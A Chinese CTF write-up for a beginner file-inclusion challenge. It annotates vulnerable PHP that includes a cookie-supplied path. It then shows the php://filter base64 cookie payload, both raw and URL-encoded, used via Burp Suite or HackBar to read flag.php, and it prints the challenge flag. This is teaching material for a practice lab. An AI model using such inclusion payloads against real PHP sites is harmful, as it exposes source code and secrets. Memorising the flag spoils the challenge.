Web安全攻防世界01 fileinclude(宜兴网信办)

问题描述:

攻防世界文件包含入门题目,参考大佬们的WP有所补充,内容对小白友好~


原因分析:

按照惯例,首先查看源代码ctrl+u:

整理一下大概是下面这个意思(代码0基础,可能有误,欢迎留言沟通与指正~)


<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
//规定 HTML 文档的字符集

<br />
<b>Notice</b>:  Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
Please choose the language you want : English or Chinese
<h1>Hi,EveryOne,The flag is in flag.php</h1><html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
//页面显示内容,其中提示了language的设置与地址,flag所在地址。

<?php
if( !ini_get('display_errors') ) { //如果 环境变量未设置错误回显
  ini_set('display_errors', 'On'); //则 开启错误信息回显
  }
error_reporting(E_ALL); //报告所有类型的错误
$lan = $_COOKIE['language']; //将cookie中['language']的值赋予lan
if(!$lan) //如果变量 lan为0
{
	@setcookie("language","english"); //向客户端发送cookie(名称为"language",值为"english")
	@include("english.php"); //文件包含(调用文件"english.php")
}
else //若不满足上述条件
{
	@include($lan.".php"); //文件包含(调用变量$lan,添加后缀".php")
}
$x=file_get_contents('index.php'); //将文件 index.php的内容读入变量 x中
echo $x; //输出 变量x的值
?>
</html></html>

所以题目的关键在于达成这第15行的条件:

$lan = $_COOKIE['language'];

在cookie中的内容language 会被传到变量$lan,继而在第23行@include($lan.".php");被调用与执行,因此cookie变量中很适合写入读取flag.php的payload~


解决方案:

工具:burpsuite 或 hackbar(浏览器插件)

参考:admin发表的官方WP zhan3614发表的WP fileinclude 

1 Burp Suite抓包

首先用Burp Suite拦截网页的请求包,页面如下图所示:

emm,发现没有题目要求的变量cookie,这样就很难实现题目要求的条件了...

2 添加cookie

现在需要手动添加cookie,可以通过burpsuite或者hackbar添加~

1)Burp Suite,在页面的右下角Request Cookies可以找到添加变量的位置~

  Name:language

  Value:php://filter/read=convert.base64-encode/resource=/var/www/html/flag

  Name的值为第15行代码要求的名称,Value的值可将flag(.php)内容以Base64编码的形式读取~

php://filter/read=执行文件读取功能~(官方介绍:PHP: php:// - Manual

convert.base64-encode执行Base64编码功能~

/resource=/var/www/html/flag填写flag.php所在的地址,本题在源码的第5行有提示地址为language in <b>/var/www/html/index.php</b> on line ;且需要注意注意源码第23行的内容(@include($lan.".php"); ),在上传参数时代码会附带后缀.php,所以此处不需要写为 '/var/www/html/flag.php'~

或者可以直接复制这一行到请求包末尾(同样的语句,经过URL编码):

Cookie: language=php%3a%2f%2ffilter%2fread%3dconvert.base64-encode%2fresource%3d%2fvar%2fwww%2fhtml%2fflag

消息变成如下所示以后发送: 

然后就得到了一个 编码为Base64的flag,如下图~

右键传到burpsuite自带的解码模块decoder中可以解码~

 $flag=cyberpeace{9fbd1f023749c48900cf215fe902c204}

2)采用chrome的扩展工具hackbar 添加cookie的值;解题的思路与上面是一致的:F12调出开发者工具,操作步骤如下图就可以~

Name:cookie

Value:language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

页面上方回显以base64格式编码的flag,复制到网址栏,随后可用hackbar自带的解码模块encoding找到base64 encode选项进行解码~

flag=cyberpeace{9fbd1f023749c48900cf215fe902c204}

博文写得模糊或者有误之处,欢迎留言讨论与批评~

码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)

评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值